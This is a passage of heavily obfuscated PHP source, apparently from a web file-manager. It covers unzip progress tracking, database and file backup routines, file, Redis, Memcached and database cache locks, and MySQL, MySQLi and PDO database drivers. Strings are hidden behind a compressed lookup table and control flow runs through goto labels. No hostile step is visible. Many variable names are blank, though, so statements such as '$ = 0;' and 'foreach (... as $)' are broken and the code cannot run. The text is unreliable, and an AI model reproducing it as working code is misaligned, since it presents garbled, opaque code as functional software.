(!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($ӂ[343] => $մ, $ӂ[1877] => $Lj樲); } private static function finishedRun() { $ң =& $_SERVER[ձК]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$ң[343]], $[$ң[1877]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ֵ =& $_SERVER[ձК]; parent::startAfter(); Hook::bind($ֵ[1892], array($this, $ֵ[1893])); Hook::bind($ֵ[1280], array($this, $ֵ[1894])); Hook::bind($ֵ[1895], array($this, $ֵ[1896])); $˗Ɯ =& $this->task; $˗Ɯ[$ֵ[1897]] = $ֵ[1281]; if (!$˗Ɯ[$ֵ[1665]]) { $˗Ɯ[$ֵ[1665]] = LNG($ֵ[1898]); } } protected function endAfter() { $҂ =& $_SERVER[ձК]; parent::endAfter(); Hook::unbind($҂[1892], array($this, $҂[1893])); Hook::unbind($҂[1280], array($this, $҂[1894])); Hook::unbind($҂[1895], array($this, $҂[1896])); } public function updateAfter() { $ȁ =& $_SERVER[ձК]; $К =& $this->task; if (!$К[$ȁ[1142]] || !$К[$ȁ[837]]) { if ($К[$ȁ[1897]] != $ȁ[390]) { return; } } if ($К[$ȁ[1897]] == $ȁ[1281]) { $㽎ѧ = 0; if ($К[$ȁ[1831]]) { $㽎ѧ = $К[$ȁ[1832]] / $К[$ȁ[1831]]; } $К[$ȁ[1779]] = $㽎ѧ * 0.3; } else { if ($К[$ȁ[1897]] == $ȁ[390]) { $㽎ѧ = $К[$ȁ[1778]] / $К[$ȁ[1142]]; $К[$ȁ[1779]] = 0.3 + $㽎ѧ * 0.4; } else { if ($К[$ȁ[1897]] == $ȁ[110]) { $ = 0; if ($К[$ȁ[1833]] == $ȁ[110]) { $ = $К[$ȁ[1832]]; } $㽎ѧ = ($К[$ȁ[1836]] + $) / $К[$ȁ[837]]; $К[$ȁ[1779]] = 0.3 + 0.4 + $㽎ѧ * 0.3; } } } if ($К[$ȁ[1779]] > 0) { $˙ = timeFloat() - $К[$ȁ[1781]] - $К[$ȁ[1784]]; $К[$ȁ[1785]] = $˙ * (1 - $К[$ȁ[1779]]) / $К[$ȁ[1779]]; } } public function addFile($Ƿ) { $ӛ =& $_SERVER[ձК]; $Ȃŗ =& $this->task; $߷ = IO::info($Ƿ); $Ȃŗ[$ӛ[1829]] = $߷[$ӛ[32]]; $Ȃŗ[$ӛ[1831]] = $߷[$ӛ[79]]; $Ȃŗ[$ӛ[1832]] = 0; $Ȃŗ[$ӛ[1144]] = $ӛ[1852]; $Ȃŗ[$ӛ[1833]] = $ӛ[1281]; $Ȃŗ[$ӛ[837]] = $߷[$ӛ[79]]; $Ȃŗ[$ӛ[1142]] = 1; $ = 0; $Ȃŗ[$ӛ[1840]] = array($ӛ[1841] => $ + 1, $ӛ[496] => $߷[$ӛ[32]], $ӛ[87] => $߷[$ӛ[87]], $ӛ[584] => $߷[$ӛ[584]] ? $߷[$ӛ[584]] : $߷[$ӛ[87]]); $this->update(); } public function zipEvent($Ɇ, $, $, $Ȭ) { $ =& $_SERVER[ձК]; $ҲЫ =& $this->task; $ҲЫ[$[1829]] = get_path_this($); $ҲЫ[$[1831]] = $Ȭ; $ҲЫ[$[1832]] = $; $ҲЫ[$[1144]] = $Ɇ == $[1899] ? $[1900] : $[1901]; $ҲЫ[$[1833]] = $[12]; $ҲЫ[$[837]] = $Ȭ; $ҲЫ[$[1897]] = $[390]; $this->update(); } public function unzipAfter($뤮) { $֘ =& $_SERVER[ձК]; $Ź =& $this->task; $Ź[$֘[1897]] = $֘[110]; $ = IO::infoWithChildren($뤮); $ý = 0; $Ź[$֘[1840]] = array($֘[1841] => $ý + 1, $֘[496] => $[$֘[32]], $֘[87] => $[$֘[87]], $֘[584] => $[$֘[584]] ? $[$֘[584]] : $[$֘[87]]); if ($[$֘[33]] == $֘[232]) { $Ź[$֘[1142]] = 1; } else { $Ź[$֘[1142]] = $[$֘[82]][$֘[80]]; } $Ź[$֘[1144]] = $֘[12]; $Ź[$֘[1833]] = 0; $Ź[$֘[1778]] = 0; $Ź[$֘[1831]] = 0; $Ź[$֘[1832]] = 0; $Ź[$֘[1829]] = $֘[12]; $Ź[$֘[1836]] = 0; $Ź[$֘[837]] = $[$֘[79]]; $this->update(); self::log($֘[1902] . json_encode(array($Ź, $))); } public function nameParse($) { $ =& $_SERVER[ձК]; $ފ =& $this->task; if ($ފ[$[1897]] == $[1281]) { $ފ[$[1897]] = $[390]; $ފ[$[1836]] = 0; $ފ[$[837]] = 0; } $Ͳܞ = get_path_this($); if (strstr($Ͳܞ, $[10])) { $ފ[$[1778]] += 1; $ފ[$[1142]] += 1; } $ފ[$[1829]] = $; $this->update(); } } goto fѶ; A̦: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $в =& $_SERVER[ձК]; $ݐ = Backup::get(); self::$io = $ݐ[$в[826]]; self::$name = $ݐ[$в[32]]; $⢂ = new DbManage(); $؞ = $⢂->dbType(); $̨ = array($в[851] => $؞, $в[852] => time()); Backup::set($̨); $ў = $this->tmpFilesPath() . $в[853] . self::$name . $в[8]; del_dir($ў); mk_dir($ў); $Ə = $椠 = 0; try { $ = $⢂->db()->getTables(); } catch (Exception $) { return !1; } $ = array_diff($, array($в[854], $в[855])); foreach ($ as $Є) { if ($Є == $в[856]) { continue; } $Ə += $⢂->model($Є)->count(); } $ = new Task($в[857], $в[858], $Ə, LNG($в[859]) . $в[860] . LNG($в[861])); $GLOBALS[$в[862]] = self::$name; foreach ($ as $Є) { $ = $ў . $Є . $в[863]; if ($Є == $в[856]) { @touch($); continue; } $ = null; if ($Є == $в[864] && $ݐ[$в[171]] == $в[850]) { $ = self::$io; } $椠 += $⢂->sqlFromDb($Є, $, $, $); } unset($GLOBALS[$в[862]]); $->end(); if ($椠 > $Ə) { $Ə = $椠; } $̨ = array($в[851] => $؞, $в[847] => 1, $в[865] => $Ə, $в[866] => $椠, $в[867] => time()); Backup::set($̨); if ($Ə - $椠 > 0) { $ = $в[868]; if (!stristr(I18n::getType(), $в[869])) { $ = $в[870]; } write_log(array($, $̨), $в[858]); return !1; } return !0; } private function tmpFilesPath() { $˅ =& $_SERVER[ձК]; $ = TEMP_FILES; if ($GLOBALS[$˅[6]][$˅[92]][$˅[871]]) { $ = $GLOBALS[$˅[6]][$˅[92]][$˅[871]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $˅[872])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[ձК]; $˦Ֆ = Backup::get(); $ = $˦Ֆ[$[32]]; $ = $this->tmpFilesPath() . "\x62\x61\143\x6b\165\x70\137{$}\x2f"; $ѭ۵ = $this->backupPath($˦Ֆ); if (!($ѭ۵ = IO::mkdir($ѭ۵))) { return !1; } $Ӭ颱 = IO::listPath($); $ = isset($Ӭ颱[$[86]]) ? $Ӭ颱[$[86]] : array(); $ = array_sum(array_column($, $[79])); if (!$) { return !1; } $ = array($[873] => $, $[874] => time()); Backup::set($); $ = new TaskFileTransfer($[875], $[858], count($), LNG($[859]) . $[464] . LNG($[861]) . $[876]); $->task[$[837]] = $; foreach ($Ӭ颱[$[86]] as $ᛚ) { $띖 = IO::move($ᛚ[$[87]], $ѭ۵); if (!$띖) { $->end(); $ = IO::getLastError($[877] . $ᛚ[$[87]] . $[878] . $ѭ۵ . $[178]); write_log($, $[858]); return !1; } } $± = new DbManage(); $ = $±->getSqlFile(); if (!$[$[879]] || !$[$[13]]) { return !1; } IO::move($[$[879]], $ѭ۵); IO::move($[$[13]], $ѭ۵); $->end(); $ = array($[880] => $, $[881] => time()); Backup::set($); return !0; } private function backupPath($ź) { $ʃ =& $_SERVER[ձК]; $Ϋ = $ź[$ʃ[32]]; $߮ = Model($ʃ[844])->get($ʃ[845]); $ = substr(md5($ʃ[846] . $߮ . $Ϋ), 0, 8); return "\x7b\151\x6f\72{$ź[$ʃ[826]]}\x7d\57\144\x61\x74\x61\x62\x61\x73\x65\57\142\x61\x63\153\165\x70\57" . $Ϋ . $ʃ[11] . $; } private function tmpFilesPath() { $ =& $_SERVER[ձК]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[871]]) { $ = $GLOBALS[$[6]][$[92]][$[871]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[872])) { $ = TEMP_FILES; } } return $; } } class BackupFile { public function __construct() { } public function index() { $ɞ = Backup::get(); $ = $ɞ[$_SERVER[ձК][370]][$_SERVER[ձК][232]][$_SERVER[ձК][543]]; $ = array($_SERVER[ձК][544] => array($_SERVER[ձК][882], $), $_SERVER[ձК][883] => array($_SERVER[ձК][408], $ɞ[$_SERVER[ձК][826]])); $˞ = (int) Model($_SERVER[ձК][864])->where($)->count($_SERVER[ձК][543]); $Ւ = (int) Model($_SERVER[ձК][864])->where($)->sum($_SERVER[ձК][79]); $ = new TaskFileTransfer($_SERVER[ձК][884], $_SERVER[ձК][858], $˞, LNG($_SERVER[ձК][859]) . $_SERVER[ձК][860] . LNG($_SERVER[ձК][885])); $->task[$_SERVER[ձК][837]] = $Ւ; $ڜ = array($_SERVER[ձК][886] => $˞, $_SERVER[ձК][887] => $Ւ, $_SERVER[ձК][888] => time()); Backup::set($ڜ); $ = !0; $ۇ = $this->storeIds(); $Ʉ = 1; $髮 = 1000; $Ϋ = $ғ = 0; $稽 = array(); $ = $ = 0; do { $ = $_SERVER[ձК][889]; $ = Model($_SERVER[ձК][864])->where($)->field($)->order($_SERVER[ձК][890])->selectPage($髮, $Ʉ); $ = !empty($[$_SERVER[ձК][447]]) ? $[$_SERVER[ձК][447]] : array(); foreach ($ as $) { if (!$this->_fileExist($, $稽, $ۇ)) { write_log("\146\x69\x6c\145\40\156\x6f\x74\x20\x65\170\x69\163\164\x2e\x66\151\x6c\145\111\104\72{$[$_SERVER[ձК][543]]}\54\40\x70\141\x74\150\72{$[$_SERVER[ձК][87]]}", $_SERVER[ձК][891]); continue; } $ل = $[$_SERVER[ձК][87]]; $ = "\173\x69\157\x3a{$ɞ[$_SERVER[ձК][826]]}\x7d" . substr($ل, strlen("\x7b\151\x6f\x3a{$[$_SERVER[ձК][892]]}\x7d")); if (IO::exist($)) { $->updateFileEnd($[$_SERVER[ձК][32]], $[$_SERVER[ձК][79]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($ل, $, $_SERVER[ձК][893])) { write_log($_SERVER[ձК][894] . $ل . $_SERVER[ձК][878] . $ . $_SERVER[ձК][178], $_SERVER[ձК][858]); $ = !1; break; } } $ = $[$_SERVER[ձК][543]]; $ғ += 1; $Ϋ += $[$_SERVER[ձК][79]]; $ += 1; $ += $[$_SERVER[ձК][79]]; if ($Ϋ >= 1024 * 1024 * 100) { $ڜ = array($_SERVER[ձК][825] => $, $_SERVER[ձК][895] => $, $_SERVER[ձК][896] => $); Backup::set($ڜ); $Ϋ = $ғ = 0; } } $ = count($); $Ʉ++; } while ($ == $髮); $->end(); $ڜ = array($_SERVER[ձК][897] => 1, $_SERVER[ձК][835] => time(), $_SERVER[ձК][849] => 1, $_SERVER[ձК][825] => $, $_SERVER[ձК][898] => time()); if ($ғ) { $ڜ[$_SERVER[ձК][895]] = $; $ڜ[$_SERVER[ձК][896]] = $; } Backup::set($ڜ); return !0; } private function _fileExist($ޞ, &$, $骔) { $㺏 =& $_SERVER[ձК]; $ɥ = $ޞ[$㺏[87]]; if (in_array($ޞ[$㺏[543]], $)) { return !1; } if (!in_array($ޞ[$㺏[892]], $骔)) { return !1; } if (IO::exist($ɥ)) { return !0; } $ = get_path_father($ɥ); if (IO::exist($)) { $[] = $ޞ[$㺏[543]]; return !1; } $ = array($㺏[892] => $ޞ[$㺏[892]], $㺏[87] => array($㺏[461], "{$}\45")); $ع = Model($㺏[864])->where($)->field($㺏[544])->select(); $ = array_merge($, array_to_keyvalue($ع, $㺏[12], $㺏[543])); return !1; } private function _fileFilter($ʌФ) { $Τ =& $_SERVER[ձК]; return; if (empty($ʌФ)) { return; } $І = array($Τ[543] => array($Τ[7], array_unique($ʌФ))); $篆 = Model($Τ[899])->where($І)->field($Τ[193])->select(); foreach ($篆 as $ڝ) { Model($Τ[899])->remove($ڝ[$Τ[193]], !1); } } private function storeIds() { $ =& $_SERVER[ձК]; $ = Model($[841])->listData(); $猤 = array(); $桮 = $GLOBALS[$[6]][$[92]][$[900]]; foreach ($ as $Ӝϛ) { $љ = strtolower($Ӝϛ[$[98]]); if (!isset($桮[$љ])) { continue; } $ = $[77] . (isset($桮[$љ]) ? $桮[$љ] : ucfirst($љ)); if (!class_exists($)) { continue; } $猤[] = $Ӝϛ[$[477]]; } return $猤; } } goto d; E务: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ݘ =& $_SERVER[ձК]; $əƊ = $GLOBALS[$ݘ[6]][$ݘ[426]]; self::$cachePath = $əƊ[$ݘ[232]][$ݘ[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ᕜ = 0) { $ =& $_SERVER[ձК]; $ = microtime(!0); $ = $ + $ᕜ + 0.0001; $ = rtrim(self::$cachePath, $[8]) . $[939] . md5($) . $[936]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ɯϚ = fopen($, $[940]); if (!$ɯϚ) { return !1; } $ = flock($ɯϚ, LOCK_EX | LOCK_NB); self::$caches[$] = array($[941] => $ɯϚ, $[232] => $); fwrite($ɯϚ, $); clearstatcache(); if ($ɯϚ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($ح) { $ꝭ =& $_SERVER[ձК]; $ = rtrim(self::$cachePath, $ꝭ[8]) . $ꝭ[939] . md5($ح) . $ꝭ[936]; return file_exists($); } public function unlock($ř) { $ =& $_SERVER[ձК]; $ = self::$caches[$ř]; if (!$) { return; } @flock($[$[941]], LOCK_UN); @fclose($[$[941]]); @unlink($[$[232]]); unset(self::$caches[$ř]); } } class CacheLockRedis { public function lock($כ, $ = 10) { $ = Cache::init(); $Ё = microtime(!0) + $; while (microtime(!0) < $Ё) { $祺 = $->get($כ); if (!$祺) { $ = $->setLock($כ, $Ё, $); if ($) { return !0; } } else { if ($祺 < microtime(!0)) { $->set($כ, $Ё, $ * 2); if ($->get($כ) === $祺) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($ܭ) { return Cache::init()->remove($ܭ); } } goto bݩ; bݩ: class CacheLockMemcached { public function lock($̽ܤ, $ = 0) { $ꅹ = Cache::init(); $؏ = microtime(!0) + $; while (microtime(!0) < $؏) { $ = $ꅹ->get($̽ܤ); if (!$ || $ < microtime(!0)) { $ = $ꅹ->handle->add($̽ܤ, $؏, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($А) { return Cache::init()->get($А); } public function unlock($ٱޤב) { return Cache::init()->remove($ٱޤב); } } class CacheLockDatabase { public function lock($ߩ, $ = 0) { $鐙 = Model($_SERVER[ձК][903]); $䞷 = microtime(!0) + $; while (microtime(!0) < $䞷) { $秐 = $鐙->get($ߩ); if (!$秐 || $秐 < microtime(!0)) { $ʥ = $鐙->set($ߩ, $䞷); if ($ʥ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[ձК][903])->get($); } public function unlock($͍筻) { Model($_SERVER[ձК][903])->remove($͍筻); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($ۺ, $) { $ =& $_SERVER[ձК]; if (!class_exists($[942])) { show_json($[943], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($ۺ[$[944]]) && count($ۺ[$[944]]) >= 1) { foreach ($ۺ[$[944]] as $둩) { $ט = explode($[4], $둩); $this->handle->addServer($ט[0], $ט[1]); } } else { $this->handle->addServer($ۺ[$[208]], $ۺ[$[209]]); } } public function set($ʁ, $, $ܨߔ = false) { $ܨߔ = $ܨߔ ? $ܨߔ : $this->cacheTime; return $this->handle->set($ʁ, $, $ܨߔ); } public function get($) { return $this->handle->get($); } public function remove($Ñæ) { return $this->handle->delete($Ñæ); } public function deleteAll() { return $this->handle->flush(); } } goto c㉯; bç: define($_SERVER[ձК][0], $_SERVER[ձК][1]); $_SERVER[Κ] = explode($_SERVER[ձК][2], gzinflate(substr($_SERVER[ձК][3], 10, -8))); function binCheckEq($, $) { return $ == $; } goto e훭ӝ˱; Cְ鄾: class DbMysql extends Db { public function __construct($ = '') { $ܭ =& $_SERVER[ձК]; if (!extension_loaded($ܭ[879])) { think_exception(think_lang($ܭ[14]) . $ܭ[964]); } if (!empty($)) { $this->config = $; if (empty($this->config[$ܭ[17]])) { $this->config[$ܭ[17]] = $ܭ[12]; } } } public function connect($ = '', $׆ = 0, $ = false) { $Ӈ =& $_SERVER[ձК]; if (!isset($this->linkID[$׆])) { if (empty($)) { $ = $this->config; } $ݽ = $[$Ӈ[965]] . ($[$Ӈ[966]] ? "\72{$[$Ӈ[966]]}" : $Ӈ[12]); $ = !empty($[$Ӈ[17]][$Ӈ[18]]) ? $[$Ӈ[17]][$Ӈ[18]] : $this->pconnect; if ($) { $this->linkID[$׆] = mysql_pconnect($ݽ, $[$Ӈ[967]], $[$Ӈ[968]], 131072); } else { $this->linkID[$׆] = mysql_connect($ݽ, $[$Ӈ[967]], $[$Ӈ[968]], !0, 131072); } if (!$this->linkID[$׆] || !empty($[$Ӈ[21]]) && !mysql_select_db($[$Ӈ[21]], $this->linkID[$׆])) { think_exception(mysql_error()); } $峈 = mysql_get_server_info($this->linkID[$׆]); mysql_query($Ӈ[969] . think_config($Ӈ[970]) . $Ӈ[58], $this->linkID[$׆]); if ($峈 > $Ӈ[971]) { mysql_query($Ӈ[972], $this->linkID[$׆]); } $this->connected = !0; if (1 != think_config($Ӈ[22])) { unset($this->config); } } return $this->linkID[$׆]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ݙ =& $_SERVER[ձК]; if (0 === stripos($, $ݙ[343])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ݙ[23], 1); think_status($ݙ[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $յ =& $_SERVER[ձК]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($յ[25], 1); think_status($յ[24]); $Ƃ = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $Ƃ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ձК][973], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $¿ = mysql_query($_SERVER[ձК][974], $this->_linkID); $this->transTimes = 0; if (!$¿) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Ӹ = mysql_query($_SERVER[ձК][975], $this->_linkID); $this->transTimes = 0; if (!$Ӹ) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($ = mysql_fetch_assoc($this->queryID)) { $[] = $; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($Ѳߺ) { $ =& $_SERVER[ձК]; $ = $this->query($[976] . $this->parseKey($Ѳߺ)); $¬Έ = array(); if ($) { foreach ($ as $ => $ȿ) { $¬Έ[$ȿ[$[31]]] = array($[32] => $ȿ[$[31]], $[33] => $ȿ[$[34]], $[35] => (bool) (strtoupper($ȿ[$[36]]) === $[977]), $[37] => $ȿ[$[38]], $[39] => strtolower($ȿ[$[40]]) == $[41], $[42] => strtolower($ȿ[$[43]]) == $[44]); } } return $¬Έ; } public function getTables($ܖ = '') { $ٙց =& $_SERVER[ձК]; if (!empty($ܖ)) { $ = $ٙց[978] . $ܖ . $ٙց[979]; } else { $ = $ٙց[980]; } $ = $this->query($); $ = array(); foreach ($ as $փ => $) { $[$փ] = current($); } return $; } public function replace($, $ = array()) { $ѱ̏ =& $_SERVER[ձК]; foreach ($ as $ => $賅) { $ = $this->parseValue($賅); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $軼 = $ѱ̏[981] . $this->parseTable($[$ѱ̏[358]]) . $ѱ̏[982] . implode($ѱ̏[50], $) . $ѱ̏[983] . implode($ѱ̏[50], $) . $ѱ̏[984]; return $this->execute($軼); } public function insertAll($, $ʈà = array(), $ = false) { $ =& $_SERVER[ձК]; if (!is_array($[0])) { return !1; } $װ = array_keys($[0]); $ȕܻ = array(); foreach ($ as $) { $ = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $ȕܻ[] = $[339] . implode($[50], $) . $[984]; } array_walk($װ, array($this, $[985])); $ = ($ ? $[986] : $[987]) . $[988] . $this->parseTable($ʈà[$[358]]) . $[982] . implode($[50], $װ) . $[989] . implode($[50], $ȕܻ); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $͚ =& $_SERVER[ձК]; $this->error = mysql_errno() . $͚[4] . mysql_error($this->_linkID); if ($͚[12] != $this->queryStr) { $this->error .= LNG($͚[48]) . $this->queryStr; } think_trace($this->error, $͚[12], $͚[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$, $ = true) { $ =& $_SERVER[ձК]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $[222] && !preg_match($[990], $)) { $ = $[463] . trim($, $[463]) . $[463]; } return $; } } class DbMysqli extends Db { public function __construct($ = '') { $ =& $_SERVER[ձК]; if (!extension_loaded($[991])) { think_exception(think_lang($[14]) . $[992]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[ձК]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$[965]], $[$[967]], $[$[968]], $[$[21]], $[$[966]] ? intval($[$[966]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($[969] . think_config($[970]) . $[58]); if ($ > $[971]) { $this->linkID[$]->query($[972]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ѱ =& $_SERVER[ձК]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ѱ[23], 1); think_status($ѱ[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($Ռ = $this->_linkID->next_result()) != NULL) { $Ռ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($Γ) { $ =& $_SERVER[ձК]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Γ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $婧 = $this->_linkID->query($Γ); $this->debug(); if (!1 === $婧) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($֕ڛ = 0; $֕ڛ < $this->numRows; $֕ڛ++) { $[$֕ڛ] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($) { $ =& $_SERVER[ձК]; $ማ = $this->query($[976] . $this->parseKey($)); $ = array(); if ($ማ) { foreach ($ማ as $Ъ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($݆ = '') { $ =& $_SERVER[ձК]; $ = !empty($݆) ? $[978] . $݆ . $[979] : $[980]; $ = $this->query($); $Ӻ = array(); if ($) { foreach ($ as $ɑ => $ό) { $Ӻ[$ɑ] = current($ό); } } return $Ӻ; } public function replace($̒, $ = array()) { $ =& $_SERVER[ձК]; foreach ($̒ as $ => $) { $Ԋ = $this->parseValue($); if (is_scalar($Ԋ)) { $ƫԞ[] = $Ԋ; $Νዜ[] = $this->parseKey($); } } $֭ = $[981] . $this->parseTable($[$[358]]) . $[982] . implode($[50], $Νዜ) . $[983] . implode($[50], $ƫԞ) . $[984]; return $this->execute($֭); } public function insertAll($, $Ӯ = array(), $ܐ = false) { $ֶ =& $_SERVER[ձК]; if (!is_array($[0])) { return !1; } $ϓ = array_keys($[0]); $슐 = array(); foreach ($ as $進) { $Ώ = array(); foreach ($進 as $Ζ => $) { $ = $this->parseValue($); if (is_scalar($)) { $Ώ[] = $; } } $슐[] = $ֶ[339] . implode($ֶ[50], $Ώ) . $ֶ[984]; } array_walk($ϓ, array($this, $ֶ[985])); $ = $ܐ ? $ֶ[986] : $ֶ[987]; $Ρ = $ . $ֶ[988] . $this->parseTable($Ӯ[$ֶ[358]]) . $ֶ[982] . implode($ֶ[50], $ϓ) . $ֶ[989] . implode($ֶ[50], $슐); return $this->execute($Ρ); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $˓ɕ =& $_SERVER[ձК]; $this->error = $this->_linkID->errno . $˓ɕ[4] . $this->_linkID->error; if ($˓ɕ[12] != $this->queryStr) { $this->error .= LNG($˓ɕ[48]) . $this->queryStr; } think_trace($this->error, $˓ɕ[12], $˓ɕ[49]); return $this->error; } public function escapeString($؇) { if ($this->_linkID) { return $this->_linkID->real_escape_string($؇); } else { return addslashes($؇); } } public function parseKey(&$ۚ, $ = true) { $śܵ =& $_SERVER[ձК]; if ($) { $ۚ = $this->parseKeyCheck($ۚ); } if ($ۚ != $śܵ[222] && !preg_match($śܵ[990], $ۚ)) { $ۚ = $śܵ[463] . trim($ۚ, $śܵ[463]) . $śܵ[463]; } return $ۚ; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[ձК]; if (!class_exists($[993])) { think_exception(think_lang($[14]) . $[994]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[ձК]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($[$[995]], $[$[967]], $[$[968]], $[$[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($[$[995]]); if (in_array($this->dbType, array($[996], $[997], $[998], $[999]))) { think_exception($[1000] . $this->dbType . $[1001] . $this->dbType . $[1002]); } if (!$this->linkID[$]) { think_exception($[1003]); } try { $this->linkID[$]->exec($[1004] . think_config($[970])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($ᳵ, $ކԵ = array()) { $ =& $_SERVER[ձК]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ᳵ; if (!empty($ކԵ)) { $this->queryStr .= $[1005] . print_r($ކԵ, !0) . $[1006]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($ᳵ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $̞ɯ = $this->PDOStatement->execute($ކԵ); $this->debug(); if (!1 === $̞ɯ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($߈, $ũ = array()) { $ =& $_SERVER[ձК]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $߈; if (!empty($ũ)) { $this->queryStr .= $[1005] . print_r($ũ, !0) . $[1006]; } $ = !1; if ($this->dbType == $[999]) { if (preg_match($[1007], $this->queryStr, $)) { $this->table = think_config($[1008]) . str_ireplace(think_config($[1009]), $[456], $[2]); $ = (bool) $this->query($[1010] . strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($߈); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $퉁 = $this->PDOStatement->execute($ũ); $this->debug(); if (!1 === $퉁) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($[1011], $߈)) { 